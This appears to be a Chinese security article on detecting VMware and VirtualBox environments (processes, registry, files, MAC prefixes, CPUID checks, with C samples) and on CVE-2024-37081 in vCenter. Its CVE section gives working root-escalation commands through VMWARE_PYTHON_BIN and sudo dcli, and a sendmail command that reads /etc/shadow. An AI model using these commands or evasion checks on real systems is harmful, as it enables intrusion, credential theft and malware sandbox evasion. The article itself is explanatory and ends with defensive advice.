Anti-virtualization(附CVE-2024-37081漏洞解析)
字数 2240 2025-08-23 18:31:34
反虚拟化技术及VMware漏洞分析
前言
反调试和反虚拟化技术都是通过检查系统中调试器或虚拟机的行为特征来判断是否存在检测环境。反调试针对软件级别的调试器,而反虚拟化则针对硬件级别的虚拟机环境。
VMware痕迹检测方法
1. 进程列表检测
通过检查系统中运行的进程来判断是否处于虚拟机环境:
VMware相关进程:
- Vmware: Vmtoolsd.exe, Vmwaretrat.exe, Vmwareuser.exe, Vmacthlp.exe
- VMware Tools: VMwareService.exe, VMwareTray.exe, VMwareUser.exe
VirtualBox相关进程:
- vboxservice.exe, vboxtray.exe
检测代码示例:
// 使用Process32First, Process32Next等Windows API函数列举进程
2. 注册表检测
通过检查注册表中的虚拟机相关键值:
检测方法:
- 使用RegOpenKey等函数打开指定键
- 检查HKEY_CLASSES_ROOT\Applications\vmware.exe等注册表项
防御方法:
- 备份注册表
- 定位注册表项
- 重命名相关注册表项(如将vmware.exe重命名为notvmware.exe)
完整注册表枚举代码示例:
#include <windows.h>
#include <stdio.h>
void EnumerateRegistryKeysAndValues(HKEY hKey, const char* subKey) {
// 详细注册表枚举实现
// ...
}
3. 文件系统检测
检查系统中是否存在虚拟机特有的文件:
VMware文件路径:
- C:\windows\System32\Drivers\Vmmouse.sys
- C:\windows\System32\Drivers\vmtray.dll
- C:\windows\System32\Drivers\VMToolsHook.dll
- 等...
VirtualBox文件路径:
- C:\windows\System32\Drivers\VBoxMouse.sys
- C:\windows\System32\Drivers\VBoxGuest.sys
- 等...
检测代码示例:
void CheckVMwareFiles() {
const char* vmwareFiles[] = {
"\\Program Files\\VMware\\VMware Tools\\",
// 其他文件路径...
};
DWORD drives = GetLogicalDrives();
for (char drive = 'A'; drive <= 'Z'; drive++) {
if (drives & (1 << (drive - 'A'))) {
// 检查每个驱动器上的VMware文件
}
}
}
4. 服务检测
检查系统中运行的虚拟机相关服务:
VMware服务:
- VMware Tools Service
- VMware Physical Disk Helper Service
- VMware NAT Service
- VMware DHCP Service
检测代码示例:
void CheckVMwareServices() {
const char* vmwareServices[] = {
"VMware Tools Service",
// 其他服务...
};
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
// 枚举服务...
}
硬件特征检测
1. MAC地址检测
虚拟机通常使用特定的MAC地址前缀:
VMware MAC前缀:
- 00:50:56 - 最常见的前缀
- 00:0C:29 - 旧版本使用
- 00:1C:14, 00:1C:42 - 新版本使用
2. CPU指令检测
CPUID指令检测
虚拟机通常会修改CPUID指令的返回值:
检测方法:
- 检查CPUID 0x1叶中的ECX[31]位(Hypervisor Present位)
- 检查CPUID 0x40000000叶中的Hypervisor Vendor String
检测代码示例:
void cpuid(uint32_t leaf, uint32_t subleaf, uint32_t* eax, uint32_t* ebx, uint32_t* ecx, uint32_t* edx) {
__asm__ volatile("cpuid"
: "=a"(*eax), "=b"(*ebx), "=c"(*ecx), "=d"(*edx)
: "a"(leaf), "c"(subleaf));
}
int is_virtualized() {
uint32_t eax, ebx, ecx, edx;
cpuid(0x1, 0x0, &eax, &ebx, &ecx, &edx);
return (ecx & (1 << 31)) != 0; // 检查Hypervisor Present位
}
int is_vmware() {
uint32_t eax, ebx, ecx, edx;
char vendor[13];
cpuid(0x40000000, 0x0, &eax, &ebx, &ecx, &edx);
*(uint32_t*)(vendor + 0) = ebx;
*(uint32_t*)(vendor + 4) = ecx;
*(uint32_t*)(vendor + 8) = edx;
vendor[12] = '\0';
return strcmp(vendor, "VMwareVMware") == 0;
}
其他指令检测
- RDTSC指令:虚拟机通常会修改其行为
- MSR寄存器:虚拟机会修改某些MSR的值
- VMX技术:Intel的虚拟化扩展技术
3. 特殊寄存器检测
- IDTR寄存器:通过sidt指令获取值进行检测(单核处理器有效)
- LDT结构:通过sldt指令检测(Windows不使用LDT,但VMware会虚拟化)
4. I/O通信端口检测
IN指令在主机中会触发异常,但在虚拟环境中不会:
// 尝试执行IN指令并捕获异常
VMware漏洞分析
已知VMware漏洞
- CVE-2020-3992 - VMware ESXI远程代码执行漏洞
- CVE-2021-21994 - VMware ESXi SFCB身份验证绕过漏洞
- CVE-2021-21995 - VMware ESXi OpenSLP拒绝服务漏洞
- CVE-2021-22005 - VMware vCenter Server任意文件上传漏洞
- CVE-2021-21972 - VMware VCenter未授权任意文件上传漏洞
- CVE-2021-21985 - VMware vCenter Server远程代码执行漏洞
- CVE-2024-37079 - VMware vCenter Server堆溢出漏洞
- CVE-2024-37080 - VMware vCenter Server堆溢出漏洞
- CVE-2024-37081 - VMware vCenter Server权限提升漏洞
CVE-2024-37081漏洞分析
漏洞描述:
VMware vCenter Server权限提升漏洞,允许攻击者以高权限执行任意命令。
受影响版本:
- VMware vCenter 8.0.0.10200
- Photon Linux
漏洞成因:
/etc/sudoers文件中Defaults env_keep参数配置错误,允许用户在运行sudo命令前修改危险的环境变量,如:
- PYTHONPATH
- VMWARE_PYTHON_PATH
- VMWARE_PYTHON_BIN
攻击示例:
- 以高权限执行恶意脚本:
echo '/bin/bash' > /tmp/shell && chmod +x /tmp/shell
export VMWARE_PYTHON_BIN=/tmp/shell
sudo /bin/dcli
- 以高权限任意读取文件:
sudo /usr/sbin/sendmail -tf aaa -C/etc/shadow
防御建议
-
虚拟机环境:
- 修改默认的MAC地址前缀
- 移除或重命名虚拟机特有的文件和进程
- 谨慎配置sudoers文件权限
-
主机环境:
- 监控异常的系统调用和指令执行
- 实施严格的权限控制
- 定期更新虚拟化软件补丁
-
通用防御:
- 实施多因素认证
- 定期审计系统配置
- 监控异常行为模式